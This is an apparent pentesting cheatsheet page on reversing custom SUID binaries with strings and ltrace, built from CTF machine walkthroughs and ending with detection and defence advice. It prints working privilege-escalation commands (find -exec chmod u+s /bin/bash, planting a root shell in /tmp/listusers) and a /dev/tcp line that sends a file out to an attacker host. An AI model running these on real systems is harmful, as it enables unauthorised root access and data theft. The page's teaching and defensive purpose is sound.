Reversing a custom SUID binary (strings, ltrace)
Full command arsenal in the cheatsheetThe SUID list of a clean system is recognisable at a glance: su, sudo, passwd, mount, chsh, pkexec and little else. When that list contains a line that exists in no distribution (/usr/bin/viewuser, /opt/fileS, /usr/local/bin/docker-security), that is not a vector yet: it is a question. A custom privileged program is almost never exploited for what it is, but for what it calls, and what it calls is not guessed, it is read.
Does it come from the distribution?#
The package manager answers that first question, not intuition:
dpkg -S /usr/bin/viewuser
rpm -qf /usr/local/bin/programIf it reports that no path matches the pattern, the file belongs to no package: a person put it there. In irked that is exactly the argument that picks the candidate, because the whole list is a normal Debian's minus one line.
One variant gives itself away: the same program twice. In expressway, find returns /usr/bin/sudo and also /usr/local/bin/sudo. Two paths to the same name are always the anomaly, and it is worth knowing which one wins when you type the bare name, because /usr/local/bin comes before /usr/bin in the default PATH.
Is it a known binary in disguise?#
Before opening anything, ask the program itself. Two options and a hash cost ten seconds:
/opt/fileS -help | tail -n 15
md5sum /opt/fileS /usr/bin/findIn mzeeav that help text mentions -exec, -execdir, -fprint and -prune, and points to the GNU findutils documentation: /opt/fileS is not a custom program, it is a renamed find with the SUID bit set. From there there is nothing to investigate, the attack is the usual find line (/opt/fileS -exec chmod u+s /bin/bash \; and then bash -p).
In expressway the alternative sudo's help advertises an option that the system sudo also documents, -h, --host=host, described as run command on host (if supported by plugin). The sudo manual warns that the sudoers plugin does not run remote commands and that the option is only useful together with -l, to list privileges for another host, so a binary that genuinely honours it is a custom build with its own policy. With the internal hostname leaking through the Squid logs, a single line closes the box:
/usr/local/bin/sudo -h offramp.expressway.htb -iWhat it calls: strings and ltrace#
If the program is custom, there are two tools to reach for before thinking about a disassembler. strings pulls out the readable strings and ltrace intercepts library function calls, printing them with their arguments. For a small binary whose job is to call system(), that is plenty:
strings /opt/statuscheck
ltrace -f ./viewuser 2>&1 | grep -iE 'system|exec|open|setuid'Two things worth knowing before reading the output, because both are misleading:
- Strings come out chopped up. In symfonos-1-2,
strings /opt/statuscheckprintscurl -I H,http://lHandocalhostH. Nothing is corrupted: the compiler splits the literal into eight-byte registers. Putting it back together givescurl -I http://localhost, and a few lines above there issystem, which is what launches it. ltraceruns the binary without its privilege. The kernel ignores the SUID bit on a traced process, so in laboratory the trace opens withsetuid(0) = -1,setgid(0) = -1and thechmodcalls inside answerOperation not permitted. That invalidates nothing: what you are after is the list of calls, not their result. If the binary can be copied to the attacking machine and traced there asroot(which is what was done in irked), the calls also show their real effect.
The four answers#
What the trace says decides the attack, and in practice there are four cases:
- A name with no
/.system()runssh -c, and that shell resolves the name by walking thePATHof whoever launched the binary. That is laboratory (system("chmod 700 /usr/bin/docker"), withchmodunqualified), pandora (tar) and symfonos-1-2 (curl): PATH hijacking. - A path relative to the working directory (
./initdb.sh,lib/helper.py). There thePATHis not in charge, the cwd is, and the defences are different ones (the relative path and the cwd). - An absolute path inside a writable directory. There is nothing to hijack: the file is created. That is irked, where the trace shows
setuid(0)and immediately aftersystem("/tmp/listusers"), a file that does not exist in a directory anyone can write to. The program confesses it when run (sh: 1: /tmp/listusers: not found), and the precedingsetuid(0)is what makes whatever we drop there run as realrootand not merely with an elevated effective UID:
echo '/bin/bash' > /tmp/listusers
chmod +x /tmp/listusers
/usr/bin/viewuser- A
dlopenof a library in a writable path. You compile the library with the exact function the binary looks for. In workaholic,strings ... | grep '.so'shows/home/ted/.lib/libsecurity.soand theinit_pluginsymbol, and the program's own error message (Function not found in the library!) confirms which name it expects (shared library injection, and LD_LIBRARY_PATH when the environment decides the path).
And if it executes nothing, it reads or writes: a SUID binary that only opens a file is still an arbitrary read or write as root, which is half of the SUID abuse catalogue.
When it is not a binary but a script#
file settles that in one line, and if the privileged thing turns out to be a script there is nothing to trace, you read it with cat. In bitforge the flask_password_changer granted through sudo is three lines that enter a directory and run flask run, which imports that directory's app.py: the vector is not in the script, it is in the file the script imports (writable script via sudo).
And if the binary has to leave the machine to be analysed properly, the detail that saves hours is checking that it came out whole. In shoppy the password-manager is exfiltrated with Bash's /dev/tcp redirector (nothing installed on the victim) and the md5sum is compared at both ends before touching it:
nc -nlvp 1234 > password_manager
cat /home/deploy/password-manager > /dev/tcp/<lhost>/1234Requirements#
A binary with the SUID bit (or granted by a sudo rule) that does not come from the distribution, and the ability to run it to observe it. ltrace is not always installed on the victim, but the binary can be brought over: tracing it on the attacking machine needs no privilege on the target. Whatever the trace finds must also land on something we control (a PATH directory, the cwd, a non-existent file, a library path); a well-written custom binary, with absolute paths and no system(), holds.
How to detect it. At rest, the review is the same one that picks the candidate: compare the output of find / -perm -4000 against the package database (dpkg -V, rpm -Va, or a plain dpkg -S per file) and treat as a finding any SUID binary belonging to no package, especially one living in /opt, in /usr/local/bin or inside a web root. Two executables with the same name in /usr/bin and /usr/local/bin are an indicator on their own. At runtime, the abuse signature is the usual one: auditd/Sysmon for Linux see a SUID binary launching sh -c with an executable resolved under /tmp or /dev/shm, a dlopen of a library under a user's home, or a setuid(0) call from a process that is not an administration tool, followed by the customary chmod +s /bin/bash or sh -p. Reconnaissance leaves a trace too, because ptrace against a system binary is not a normal operation: an ltrace/strace run by a service account is anomalous even when it achieves nothing.
Defence. Do not write your own SUID binaries: whatever needs delegating belongs in a narrow sudo rule or a fine-grained capability. If the binary must exist, make it invoke everything by absolute path, sanitise PATH, IFS and LD_* at startup, avoid system() and popen() (use execve with a hand-built environment) and never load libraries from user-writable directories. Leaving the SUID bit on a custom program amounts to publishing its source code as your security policy, because anyone can read what it calls. Related to abusing SUID binaries and to the sudo escape with GTFOBins when the binary turns out to be a known one.
Machines where it's used
- BitforgeProving Grounds Practice
- ExpresswayHackTheBox
- IrkedHackTheBox
- LaboratoryHackTheBox
- MzeeavProving Grounds Practice
- PandoraHackTheBox
- ShoppyHackTheBox
- Symfonos 1 & 2VulnHub
- WorkaholicProving Grounds Practice